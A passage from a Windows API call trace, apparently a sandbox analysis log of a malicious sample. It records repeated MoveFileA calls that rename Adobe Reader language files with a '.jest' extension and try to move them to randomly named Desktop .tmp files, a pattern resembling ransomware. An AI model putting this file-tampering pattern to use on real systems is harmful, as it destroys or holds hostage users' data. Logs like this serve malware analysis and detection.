wHour=0x15, wMinute=0x5, wSecond=0x24, wMilliseconds=0x2c8)) [0151.018] GetUserDefaultLCID () returned 0x409 [0151.018] VarBstrFromR4 (in: fltIn=0x4794505b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.71") returned 0x0 [0151.018] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0151.019] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.019] CoFreeUnusedLibraries () [0151.019] GetTickCount () returned 0x115786b [0151.019] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.019] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.019] GetTickCount () returned 0x115786b [0151.019] IsWindowVisible (hWnd=0x30268) returned 0 [0151.019] Sleep (dwMilliseconds=0x0) [0151.020] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.da_DK.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.da_dk.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w dBRgD cej-UEtMn5m41B11JwVJWzReMGZzUB-42PYi6KZCVH95evA46UR0uIG9rOrRQ eTgGfQd469U1csI1Ft-tsPjD9jSF4xl.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w dbrgd cej-uetmn5m41b11jwvjwzremgzzub-42pyi6kzcvh95eva46ur0uig9rorrq etggfqd469u1csi1ft-tspjd9jsf4xl.tmp")) returned 0 [0151.020] GetLastError () returned 0x2 [0151.021] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0151.021] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0151.022] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.022] CoFreeUnusedLibraries () [0151.022] GetTickCount () returned 0x115786b [0151.022] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.022] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.022] GetTickCount () returned 0x115786b [0151.022] IsWindowVisible (hWnd=0x30268) returned 0 [0151.022] Sleep (dwMilliseconds=0x0) [0151.023] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0151.024] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.da.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.da.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.da.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.da.txt.jest")) returned 1 [0151.025] GetLastError () returned 0x0 [0151.025] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳慤琮瑸") returned 0x68 [0151.025] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=104, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 104 [0151.025] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳慤琮瑸") returned 0x68 [0151.025] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=105, lpWideCharStr=0x144ebf4, cchWideChar=209 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.da.txt") returned 105 [0151.025] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳慤琮瑸樮獥t") returned 0x6d [0151.025] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=109, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 109 [0151.025] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳慤琮瑸樮獥t") returned 0x6d [0151.025] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=110, lpWideCharStr=0x144ddec, cchWideChar=219 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.da.txt.jest") returned 110 [0151.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.da.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.da.txt", lpUsedDefaultChar=0x0) returned 105 [0151.025] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0151.026] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0151.026] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0151.026] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x24, wMilliseconds=0x2c8)) [0151.026] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0151.026] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x24, wMilliseconds=0x2c8)) [0151.027] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x24, wMilliseconds=0x2c8)) [0151.027] GetUserDefaultLCID () returned 0x409 [0151.027] VarBstrFromR4 (in: fltIn=0x4794505b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.71") returned 0x0 [0151.027] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0151.027] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.027] CoFreeUnusedLibraries () [0151.027] GetTickCount () returned 0x115786b [0151.027] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.028] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.028] GetTickCount () returned 0x115786b [0151.028] IsWindowVisible (hWnd=0x30268) returned 0 [0151.028] Sleep (dwMilliseconds=0x0) [0151.029] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.da.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.da.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HLpHkjMM d5736DPwBRqt42PZN_vFfR2ub6ZIU6WRv6T1EVpl_B_T9397iXV5aiE80zmt9Wp_S3Qct- v_ uuYVeEzB6lTVFBZR.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hlphkjmm d5736dpwbrqt42pzn_vffr2ub6ziu6wrv6t1evpl_b_t9397ixv5aie80zmt9wp_s3qct- v_ uuyveezb6ltvfbzr.tmp")) returned 0 [0151.029] GetLastError () returned 0x2 [0151.029] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0151.030] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0151.039] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.039] CoFreeUnusedLibraries () [0151.040] GetTickCount () returned 0x115787b [0151.040] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.040] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.040] GetTickCount () returned 0x115787b [0151.040] IsWindowVisible (hWnd=0x30268) returned 0 [0151.040] Sleep (dwMilliseconds=0x0) [0151.041] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.tr.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.tr.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.tr.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.tr.txt.jest")) returned 1 [0151.042] GetLastError () returned 0x0 [0151.042] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牴琮瑸") returned 0x68 [0151.042] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=104, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 104 [0151.042] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牴琮瑸") returned 0x68 [0151.042] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=105, lpWideCharStr=0x144ddec, cchWideChar=209 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.tr.txt") returned 105 [0151.042] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牴琮瑸樮獥t") returned 0x6d [0151.042] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=109, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 109 [0151.042] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牴琮瑸樮獥t") returned 0x6d [0151.042] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=110, lpWideCharStr=0x1445ffc, cchWideChar=219 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.tr.txt.jest") returned 110 [0151.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.tr.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.tr.txt", lpUsedDefaultChar=0x0) returned 105 [0151.043] VarBstrFromR4 (in: fltIn=0x4794505d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.73") returned 0x0 [0151.043] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.044] CoFreeUnusedLibraries () [0151.044] GetTickCount () returned 0x115787b [0151.044] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.044] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.044] GetTickCount () returned 0x115787b [0151.044] IsWindowVisible (hWnd=0x30268) returned 0 [0151.044] Sleep (dwMilliseconds=0x0) [0151.045] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.tr.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.tr.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FKhuyMOVWX7L_A4M9xG4d-Jh3ZoPjh9KBWV-yvmy32cI6nVx4_Vtz MJ6dtkZVTfcuUMzRxEr 2vgacKpvd1HZFAJLiNG8r1ckCkL.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fkhuymovwx7l_a4m9xg4d-jh3zopjh9kbwv-yvmy32ci6nvx4_vtz mj6dtkzvtfcuumzrxer 2vgackpvd1hzfajling8r1ckckl.tmp")) returned 0 [0151.045] GetLastError () returned 0x2 [0151.045] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.046] CoFreeUnusedLibraries () [0151.046] GetTickCount () returned 0x115787b [0151.046] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.046] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.046] GetTickCount () returned 0x115787b [0151.046] IsWindowVisible (hWnd=0x30268) returned 0 [0151.046] Sleep (dwMilliseconds=0x0) [0151.047] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.tr_TR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.tr_tr.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.tr_TR.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.tr_tr.txt.jest")) returned 1 [0151.048] GetLastError () returned 0x0 [0151.048] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牴呟⹒硴t") returned 0x6b [0151.048] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0151.048] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牴呟⹒硴t") returned 0x6b [0151.048] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=108, lpWideCharStr=0x144bb04, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.tr_TR.txt") returned 108 [0151.049] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牴呟⹒硴⹴敪瑳") returned 0x70 [0151.049] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0151.049] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牴呟⹒硴⹴敪瑳") returned 0x70 [0151.049] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=113, lpWideCharStr=0x146c82c, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.tr_TR.txt.jest") returned 113 [0151.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.tr_TR.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.tr_TR.txt", lpUsedDefaultChar=0x0) returned 108 [0151.049] VarBstrFromR4 (in: fltIn=0x4794505f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.74") returned 0x0 [0151.050] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.050] CoFreeUnusedLibraries () [0151.050] GetTickCount () returned 0x115788a [0151.050] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.050] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.050] GetTickCount () returned 0x115788a [0151.050] IsWindowVisible (hWnd=0x30268) returned 0 [0151.050] Sleep (dwMilliseconds=0x0) [0151.051] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.tr_TR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.tr_tr.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZEl_OhrPQE6hKcESUmDJeCVGGj0ZhqAVDo-j2q2Q1Mcmuus4CcPJsWzZePfb35si3RkeE3ws0sTwQ UfAu04zTmndUh4hsbyhWQO.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zel_ohrpqe6hkcesumdjecvggj0zhqavdo-j2q2q1mcmuus4ccpjswzzepfb35si3rkee3ws0stwq ufau04ztmnduh4hsbyhwqo.tmp")) returned 0 [0151.051] GetLastError () returned 0x2 [0151.051] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.052] CoFreeUnusedLibraries () [0151.052] GetTickCount () returned 0x115788a [0151.052] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.052] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.052] GetTickCount () returned 0x115788a [0151.052] IsWindowVisible (hWnd=0x30268) returned 0 [0151.052] Sleep (dwMilliseconds=0x0) [0151.053] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sl.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sl.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sl.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sl.txt.jest")) returned 1 [0151.054] GetLastError () returned 0x0 [0151.054] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳汳琮瑸") returned 0x68 [0151.054] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=104, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 104 [0151.054] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳汳琮瑸") returned 0x68 [0151.054] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=105, lpWideCharStr=0x146c82c, cchWideChar=209 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sl.txt") returned 105 [0151.054] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳汳琮瑸樮獥t") returned 0x6d [0151.054] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=109, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 109 [0151.054] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳汳琮瑸樮獥t") returned 0x6d [0151.055] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=110, lpWideCharStr=0x1445ffc, cchWideChar=219 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sl.txt.jest") returned 110 [0151.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sl.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sl.txt", lpUsedDefaultChar=0x0) returned 105 [0151.055] VarBstrFromR4 (in: fltIn=0x4794505f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.74") returned 0x0 [0151.056] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.056] CoFreeUnusedLibraries () [0151.056] GetTickCount () returned 0x115788a [0151.056] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.056] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.056] GetTickCount () returned 0x115788a [0151.056] IsWindowVisible (hWnd=0x30268) returned 0 [0151.056] Sleep (dwMilliseconds=0x0) [0151.057] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sl.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sl.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tQZ2N_70X8qc8hPBbZfp-7vYwvYZW08wdJfdve6VH5dMMtWB_HhaMOoBMKYufrfIWWOvOKYsL3o10tQDlcoZOGOZ7G1C-XuKVSc-v.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tqz2n_70x8qc8hpbbzfp-7vywvyzw08wdjfdve6vh5dmmtwb_hhamoobmkyufrfiwwovokysl3o10tqdlcozogoz7g1c-xukvsc-v.tmp")) returned 0 [0151.057] GetLastError () returned 0x2 [0151.058] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.058] CoFreeUnusedLibraries () [0151.058] GetTickCount () returned 0x115788a [0151.058] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.058] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.058] GetTickCount () returned 0x115788a [0151.058] IsWindowVisible (hWnd=0x30268) returned 0 [0151.058] Sleep (dwMilliseconds=0x0) [0151.060] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sl_SI.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sl_si.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sl_SI.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sl_si.txt.jest")) returned 1 [0151.061] GetLastError () returned 0x0 [0151.061] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳汳卟⹉硴t") returned 0x6b [0151.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=107, 